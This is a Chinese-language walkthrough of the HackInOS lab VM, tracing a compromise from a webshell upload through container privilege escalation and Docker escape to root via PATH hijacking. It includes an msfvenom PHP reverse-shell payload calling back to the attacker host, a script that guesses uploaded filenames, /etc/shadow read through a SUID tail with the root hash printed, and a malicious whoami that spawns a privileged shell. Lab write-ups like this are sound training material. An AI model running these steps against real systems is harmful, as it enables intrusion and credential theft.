HackInOS靶机渗透练习
字数 1122 2025-08-15 21:33:37

HackInOS靶机渗透教学文档

1. 环境准备

  • 网络拓扑
    • VMware虚拟机环境
    • 靶机IP: 192.168.1.136
    • Kali攻击机IP: 192.168.1.137/24
    • 网关IP: 192.168.1.3

2. 信息收集阶段

2.1 主机发现

使用Nmap进行主机扫描:

nmap -sP 192.168.1.0/24

2.2 端口扫描

识别开放服务:

nmap -sV 192.168.1.136

发现开放端口:

  • 22 (SSH)
  • 8000 (HTTP服务)

3. Web应用渗透

3.1 初步侦察

访问Web服务:

http://192.168.1.136:8000

检查robots.txt文件,发现文件上传页面提示。

3.2 文件上传漏洞利用

  1. 生成PHP反弹shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.137 LPORT=4444 -f raw > 1.php
  1. 创建图片马

    • 将PHP代码附加到图片文件末尾
    • 使用文本编辑器确认代码已正确嵌入
  2. 上传绕过

    • 使用Burp Suite拦截上传请求
    • 修改文件扩展名为.php绕过前端验证
  3. 文件存储机制分析

    • 系统生成1-100随机数附加到文件名后
    • 对结果进行MD5哈希作为最终文件名

3.3 文件路径爆破

  1. 生成字典
#!/usr/bin/python
import hashlib
for i in range(101):
    file = "3.php"+str(i)
    hash = hashlib.md5(file.encode())
    dir = hash.hexdigest()+".php"
    f = open("zd1.txt","a+")
    f.write(dir+"\r\n")
    f.close()
  1. 目录爆破
dirb "http://192.168.1.136:8000/uploads" zd1.txt
  1. 获取Meterpreter会话
    • 在Kali上设置监听
    • 访问爆破得到的路径触发反弹shell

4. 数据库信息收集

  1. 获取WordPress配置
cat wp-config.php

发现数据库凭据:

  • 用户名: wordpress
  • 密码: wordpress
  1. 确认Docker环境
sysinfo
run post/linux/gather/checkcontainer

5. 容器内提权

  1. 上传信息收集脚本
upload ~/桌面/linuxprivchecker.py /tmp/linuxprivchecker.py
  1. 发现SUID提权点

    • tail命令设置了SUID位
  2. 利用tail读取敏感文件

tail -c1G /etc/shadow

获取root哈希:

root:$6$qoj6/JJi$FQe/BZlfZV9VX8m0i25Suih5vi1S//OVNpd.PvEVYcL1bWSrF3XTVTF91n60yUuUMUcP65EgT8HfjLyjGHova/:17951:0:99999:7:::
  1. 密码破解
hashcat -w 3 -a 0 -m 1800 -o root.out root.hash

破解结果:密码为"john"

  1. 获取交互式shell
python -c "import pty;pty.spawn('/bin/bash');"

6. Docker逃逸

  1. 访问数据库
mysql -h db -u wordpress -p
  1. 发现SSH凭据

    • 表名: host_ssh_cred
    • 密码MD5哈希解密后为"12345"
  2. SSH登录

ssh hummingbirdscyber@192.168.1.136
  1. 确认Docker组权限
groups
  1. 挂载主机目录
docker run -it -v /root:/root ubuntu:latest

7. 二次提权

  1. 查找SUID文件
ls -lh $(find / -perm -u=s -type f 2>/dev/null)

发现可疑文件:/home/hummingbirdscyber/Desktop/a.out

  1. 分析a.out行为

    • 执行后返回"root"
    • 推测调用了whoami命令
  2. 环境变量检查

echo $PATH

发现可写目录:/home/hummingbirdscyber/bin

  1. 创建恶意whoami
#include <stdlib.h>
int main(void) {
    system("/bin/bash -p");
    return 0;
}
  1. 编译并部署
gcc -o whoami whoami.c
chmod +x whoami
mkdir ~/bin
mv whoami ~/bin/
  1. 触发提权
./a.out

成功获取root权限shell

8. 总结

本渗透测试完整流程:

  1. 通过Web应用文件上传漏洞获取初始立足点
  2. 利用容器环境配置不当进行提权
  3. 通过数据库信息发现SSH凭据实现Docker逃逸
  4. 最终通过环境变量路径劫持获取主机root权限

关键学习点:

  • 文件上传漏洞的绕过技术
  • 容器环境下的信息收集方法
  • SUID提权技术
  • 环境变量路径劫持技术
  • Docker逃逸技术
HackInOS靶机渗透教学文档 1. 环境准备 网络拓扑 : VMware虚拟机环境 靶机IP: 192.168.1.136 Kali攻击机IP: 192.168.1.137/24 网关IP: 192.168.1.3 2. 信息收集阶段 2.1 主机发现 使用Nmap进行主机扫描: 2.2 端口扫描 识别开放服务: 发现开放端口: 22 (SSH) 8000 (HTTP服务) 3. Web应用渗透 3.1 初步侦察 访问Web服务: 检查robots.txt文件,发现文件上传页面提示。 3.2 文件上传漏洞利用 生成PHP反弹shell : 创建图片马 : 将PHP代码附加到图片文件末尾 使用文本编辑器确认代码已正确嵌入 上传绕过 : 使用Burp Suite拦截上传请求 修改文件扩展名为.php绕过前端验证 文件存储机制分析 : 系统生成1-100随机数附加到文件名后 对结果进行MD5哈希作为最终文件名 3.3 文件路径爆破 生成字典 : 目录爆破 : 获取Meterpreter会话 : 在Kali上设置监听 访问爆破得到的路径触发反弹shell 4. 数据库信息收集 获取WordPress配置 : 发现数据库凭据: 用户名: wordpress 密码: wordpress 确认Docker环境 : 5. 容器内提权 上传信息收集脚本 : 发现SUID提权点 : tail命令设置了SUID位 利用tail读取敏感文件 : 获取root哈希: 密码破解 : 破解结果:密码为"john" 获取交互式shell : 6. Docker逃逸 访问数据库 : 发现SSH凭据 : 表名: host_ ssh_ cred 密码MD5哈希解密后为"12345" SSH登录 : 确认Docker组权限 : 挂载主机目录 : 7. 二次提权 查找SUID文件 : 发现可疑文件:/home/hummingbirdscyber/Desktop/a.out 分析a.out行为 : 执行后返回"root" 推测调用了whoami命令 环境变量检查 : 发现可写目录:/home/hummingbirdscyber/bin 创建恶意whoami : 编译并部署 : 触发提权 : 成功获取root权限shell 8. 总结 本渗透测试完整流程: 通过Web应用文件上传漏洞获取初始立足点 利用容器环境配置不当进行提权 通过数据库信息发现SSH凭据实现Docker逃逸 最终通过环境变量路径劫持获取主机root权限 关键学习点: 文件上传漏洞的绕过技术 容器环境下的信息收集方法 SUID提权技术 环境变量路径劫持技术 Docker逃逸技术